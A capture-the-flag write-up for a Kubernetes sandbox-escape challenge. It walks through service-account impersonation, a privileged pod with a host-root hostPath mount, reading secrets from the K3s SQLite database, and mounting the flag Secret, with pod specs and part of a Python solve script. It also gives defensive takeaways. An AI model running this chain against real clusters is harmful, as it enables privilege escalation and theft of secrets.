CTFaaS - CTFs as a Service! - LA CTF Misc Writeup
Category: Misc
Difficulty: Hard
Points: 325
Solves: 25
Flag: lactf{0h_n0_y0u_h4ck3d_my_p34f3c7ly_s3cur3_c7us73r}
Solved by: Smothy @ 0xN1umb

"Your RBAC is only as strong as your weakest impersonation policy."
Challenge Description
Want to run your own CTF but don't have the time or knowledge to set up the infrastructure? ACM Cyber is proud to announce CTFaaS! With our platform, you can easily deploy and manage CTF challenges in isolated environments. Our challenge deployer, despite allowing you to run arbitrary code, is perfectly secure due to our state-of-the-art security measures, including proper RBAC configurations, service accounts applied to every deployed challenge with limited permissions, and a custom-built sandboxing solution. We've even put the keys to our company inside of a Secret in the cluster as proof we stand behind what we claim!
A Kubernetes challenge where you deploy Docker containers as "CTF challenges" into a K8s cluster and need to escape the sandbox to read a Secret. Sounds secure? Narrator: it was not.
TL;DR
Deployed a container to a K8s cluster, discovered the ctf-app service account can impersonate ctf-deployer-sa, used the deployer SA's permissions to create a privileged pod with hostPath mount, read the K3s SQLite database to find the secret name real-flag, then mounted it directly. Kubernetes go brrr.
Initial Recon
The CTFaaS platform gives you a web deployer at IP:30000 where you upload Docker image tarballs. Each uploaded image gets deployed as a pod in the default namespace with its own service account.
First step: build a container that enumerates the K8s environment from inside.
docker build -t k8s-exploit exploit/
docker save k8s-exploit -o exploit.tar
# Upload via the web deployerStep 1: K8s Environment Enumeration
Our container runs with the service account system:serviceaccount:default:ctf-app. The SA token is at the usual location:
/var/run/secrets/kubernetes.io/serviceaccount/token
K8s API at https://kubernetes.default.svc. First thing we checked - what namespaces exist?
default
hidden-vault <-- suspicious!
kube-node-lease
kube-public
kube-system
hidden-vault - you might as well call it flag-is-here. The challenge says the flag is in a Secret, so the flag Secret is almost certainly in hidden-vault.
Step 2: RBAC Privilege Escalation
The ctf-app SA has very limited permissions directly. But we discovered something spicy - it can impersonate another service account:
system:serviceaccount:default:ctf-deployer-sa
The deployer SA has much more power:
- CRUD on pods, pods/log, services, namespaces
- CRUD on deployments
- Can operate across namespaces including
hidden-vault
But critically, it cannot list or get Secrets directly. So we can't just curl the Secrets API.
Step 3: The Image Problem
We can create pods via impersonation, but there's a catch - the cluster has no internet access (egress locked to your IP only). So alpine:latest = ErrImagePull.
The solution? There's an internal Docker registry at 10.43.254.254:5000 containing our own uploaded challenge images. We use our own image with imagePullPolicy: IfNotPresent since it's already cached on the node.
Step 4: Finding the Secret Name
We can't list Secrets, so we need to find the secret name another way. The deployer SA can create privileged pods with hostPath mounts. This is the container escape:
{
"hostPID": true,
"containers": [{
"securityContext": {"privileged": true},
"volumeMounts": [{"name": "hostfs", "mountPath": "/host"}]
}],
"volumes": [{"hostPath": {"path": "/", "type": "Directory"}}]
}With the entire host filesystem mounted, we went straight for the K3s database:
/host/var/lib/rancher/k3s/server/db/state.db
K3s stores ALL Kubernetes state in a SQLite database. We queried it:
SELECT id, name FROM kine WHERE name LIKE '%secret%'Found 91 rows, and among them:
247 /registry/secrets/hidden-vault/real-flag
The secret is called real-flag in namespace hidden-vault.
Step 5: Reading the Flag - Two Ways
Approach 1: Secret Volume Mount (The Clean Way)
Now that we know the secret name, create a pod in hidden-vault that mounts it:
{
"namespace": "hidden-vault",
"volumes": [{"secret": {"secretName": "real-flag"}}],
"command": ["cat", "/secret/flag"]
}Output:
SECRETMOUNT
flag -> ..data/flag
---
lactf{0h_n0_y0u_h4ck3d_my_p34f3c7ly_s3cur3_c7us73r}
Approach 2: SQLite Database Dump (The Brutal Way)
Query the K3s SQLite DB for the actual value:
SELECT value FROM kine WHERE name LIKE '%real-flag%'The value is a protobuf-encoded Kubernetes Secret object. Decoded it contains:
{"stringData": {"flag": "lactf{0h_n0_y0u_h4ck3d_my_p34f3c7ly_s3cur3_c7us73r}"}}Both approaches give us the same flag. Double confirmation.
The Flag
lactf{0h_n0_y0u_h4ck3d_my_p34f3c7ly_s3cur3_c7us73r}
Decoded: oh_no_you_hacked_my_perfectly_secure_cluster
The Solve Script
The final exploit is a Python script embedded in an Alpine container that:
- Reads the SA token
- Discovers our own image in the internal registry
- Creates a pod in
hidden-vaultmounting thereal-flagsecret - Creates a privileged pod with hostPath reading the K3s SQLite DB
- Reports results via HTTP server on port 8080
"""
CTFaaS Exploit - LA CTF 2026
Smothy @ 0xN1umb
K8s SA impersonation → privileged pod → hostPath mount → K3s SQLite → Secret extraction
"""
# Key exploit chain:
SA_TOKEN = open('/var/run/secrets/kubernetes.io/serviceaccount/token').read()
# Impersonate deployer SA for elevated permissions
headers = {
'Authorization': f'Bearer {SA_TOKEN}',
'Impersonate-User': 'system:serviceaccount:default:ctf-deployer-sa'
}
# Create pod in hidden-vault mounting the secret
secret_pod = {
'metadata': {'name': 'flagpod', 'namespace': 'hidden-vault'},
'spec': {
'containers': [{'command': ['cat', '/secret/flag'],
'volumeMounts': [{'name': 'flag', 'mountPath': '/secret'}]}],
'volumes': [{'name': 'flag', 'secret': {'secretName': 'real-flag'}}]
}
}
# Also create privileged pod reading K3s DB as backup
priv_pod = {
'spec': {
'hostPID': True,
'containers': [{'securityContext': {'privileged': True},
'volumeMounts': [{'name': 'hostfs', 'mountPath': '/host'}]}],
'volumes': [{'hostPath': {'path': '/'}}]
}
}The Graveyard of Failed Attempts
-
Guessing secret names - Tried
flag,secret,company-keys,ctfaas-secret,keyswith optional volume mounts. All mounted as empty directories because those secrets don't exist. -
alpine:latest -
ErrImagePullbecause no internet. Had to use the internal registry images withimagePullPolicy: IfNotPresent. -
Netcat-based HTTP server - Our first containers used
nc -lfor the web server. Would serve one request then die. Switched to Pythonhttp.server. -
Bash script complexity - v6 of the exploit had such complex nested escaping (Python inside JSON inside Python inside bash) that the container wouldn't even start. v7 fixed this by starting the web server first, exploit second.
-
HTTP/1.1 multipart upload - Curl's default HTTP/1.1 with
Expect: 100-continuewas timing out when uploading 57MB images. Had to use--http1.0to bypass. -
IPv6 vs IPv4 - The instance firewall is IPv4 only. Python requests was defaulting to IPv6 and timing out. Had to force
-4on curl.
Key Takeaways
-
Service Account Impersonation is dangerous - If an SA can impersonate another SA with more permissions, you essentially inherit those permissions. Always audit impersonation policies.
-
Privileged pods + hostPath = game over - If RBAC allows creating privileged pods with hostPath mounts, you can read the entire host filesystem including the K3s database with ALL cluster secrets.
-
K3s stores everything in SQLite - Unlike full K8s with etcd, K3s uses
/var/lib/rancher/k3s/server/db/state.db. If you can read this, you have every secret in the cluster. -
Internal registries are your friend - When network is restricted, look for internal container registries. Your own uploaded images are cached and can be reused.
-
Two paths to the same flag - Secret volume mount is cleaner, but SQLite dump is the backup. Always have multiple exploit paths.
Tools Used
- Docker (building/saving images)
- curl (K8s API interaction, HTTP/1.0 uploads)
- Python http.server (in-container web server)
- SQLite3 (K3s database extraction)
- K8s API (pod creation, log reading, SA impersonation)
- Way too much caffeine
Writeup by Smothy from 0xN1umb team. "Your cluster is only as secure as your most overprivileged service account." GG.